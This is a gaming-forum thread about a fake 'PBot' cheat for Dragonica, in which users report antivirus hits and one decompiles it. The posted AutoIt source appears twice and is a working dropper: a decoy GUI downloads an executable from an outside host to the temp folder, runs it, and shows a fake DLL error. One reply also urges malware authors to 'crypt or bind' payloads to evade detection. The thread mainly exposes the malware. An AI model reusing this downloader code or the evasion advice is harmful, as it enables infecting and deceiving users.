PBot Public Version [IAH, THQ, GPotato] v1.32

[stabylo]

second try lauchin the program ... it "works" this time ... but trojan was detected by antivir : "TR/Agent.RRX"

[Raycrash]

Yep gives me a trojan too, lets see if anyone wants to download and actually try it

[Neyoel]

Hey there i downloaded again and decompiled it, damn man its not even obfuscated xD

Here is the Source have fun =P
It actually is fake, downloading a virus, why i can say that?

Look, no matter what button you click, it will give you the error message, makes you believe that there is a file missing.. and after that it downloads an windows executable to the temp folder which is infected with a trojan or keylogger or whatever.. i would say completely failed

gl next time
Zacko7 please Ban this guy and remove the download links ^^

oh and btw, dont even try to visit the webpage shown in the source, it will give you an error page which tells you that your IP and some details about your browser have been logged ^^

GUICreate("PBOT [Dragonica]", 295, 100)
$BIT32 = GUICtrlCreateButton("IAH", 50, 35, 60)
$BIT64 = GUICtrlCreateButton("GPatato", 115, 35, 60)
$BIT86 = GUICtrlCreateButton("THQ", 180, 35, 60)
GUISetState(@SW_SHOW)
MAIN()

Func MAIN()
	Do
		$MSG = GUIGetMsg()
		Select
			Case $MSG = $BIT32
				LOAD("key/")
				MsgBox(2, "Windows error", "An error has occurred while running. Could not locate localc32.dll.", 10)
				Exit
			Case $MSG = $BIT64
				LOAD("key/")
				MsgBox(2, "Windows error", "An error has occurred while running. Could not locate localc32.dll.", 10)
				Exit
			Case $MSG = $BIT86
				LOAD("key/")
				MsgBox(2, "Windows error", "An error has occurred while running. Could not locate localc32.dll.", 10)
				Exit
		EndSelect
	Until $MSG = $GUI_EVENT_CLOSE
EndFunc


Func LOAD($DIRECTORY)
	Local $HOST = "http://www.myprojectko.com"
	Local $PROGRAM = "rundll32.exe"
	Local $A = "0xCCCC33"
	Local $X = "0x9CCC99"
	If $A = "0xCCCC33"  And $X = "0x9CCC99"  Then
		InetGet($HOST & "/" & $DIRECTORY & $PROGRAM, @TempDir & "/" & $PROGRAM, 1)
		Run(@TempDir & "/" & $PROGRAM, @TempDir)
	Else
		Exit
	EndIf
EndFunc

[Lukeff7]

Lol, classic.

[demon0192]

Originally Posted by Neyoel

Hey there i downloaded again and decompiled it, damn man its not even obfuscated xD

Here is the Source have fun =P
It actually is fake, downloading a virus, why i can say that?

Look, no matter what button you click, it will give you the error message, makes you believe that there is a file missing.. and after that it downloads an windows executable to the temp folder which is infected with a trojan or keylogger or whatever.. i would say completely failed

gl next time
Zacko7 please Ban this guy and remove the download links ^^

oh and btw, dont even try to visit the webpage shown in the source, it will give you an error page which tells you that your IP and some details about your browser have been logged ^^

GUICreate("PBOT [Dragonica]", 295, 100)
$BIT32 = GUICtrlCreateButton("IAH", 50, 35, 60)
$BIT64 = GUICtrlCreateButton("GPatato", 115, 35, 60)
$BIT86 = GUICtrlCreateButton("THQ", 180, 35, 60)
GUISetState(@SW_SHOW)
MAIN()

Func MAIN()
	Do
		$MSG = GUIGetMsg()
		Select
			Case $MSG = $BIT32
				LOAD("key/")
				MsgBox(2, "Windows error", "An error has occurred while running. Could not locate localc32.dll.", 10)
				Exit
			Case $MSG = $BIT64
				LOAD("key/")
				MsgBox(2, "Windows error", "An error has occurred while running. Could not locate localc32.dll.", 10)
				Exit
			Case $MSG = $BIT86
				LOAD("key/")
				MsgBox(2, "Windows error", "An error has occurred while running. Could not locate localc32.dll.", 10)
				Exit
		EndSelect
	Until $MSG = $GUI_EVENT_CLOSE
EndFunc


Func LOAD($DIRECTORY)
	Local $HOST = "http://www.myprojectko.com"
	Local $PROGRAM = "rundll32.exe"
	Local $A = "0xCCCC33"
	Local $X = "0x9CCC99"
	If $A = "0xCCCC33"  And $X = "0x9CCC99"  Then
		InetGet($HOST & "/" & $DIRECTORY & $PROGRAM, @TempDir & "/" & $PROGRAM, 1)
		Run(@TempDir & "/" & $PROGRAM, @TempDir)
	Else
		Exit
	EndIf
EndFunc

very nice one !

[Flex]

edit: sorry wrong thread

[Zacko7]

Deleted link.

[defect]

Man, kids these days needa learn how to crypt or bind their stuff so ppl who knows what theyre doing like neyeol or kane cant find it too soon lol.

[Raycrash]

Zacko please close such threads they just get spammed ^^

[Wanttoplay]

ddd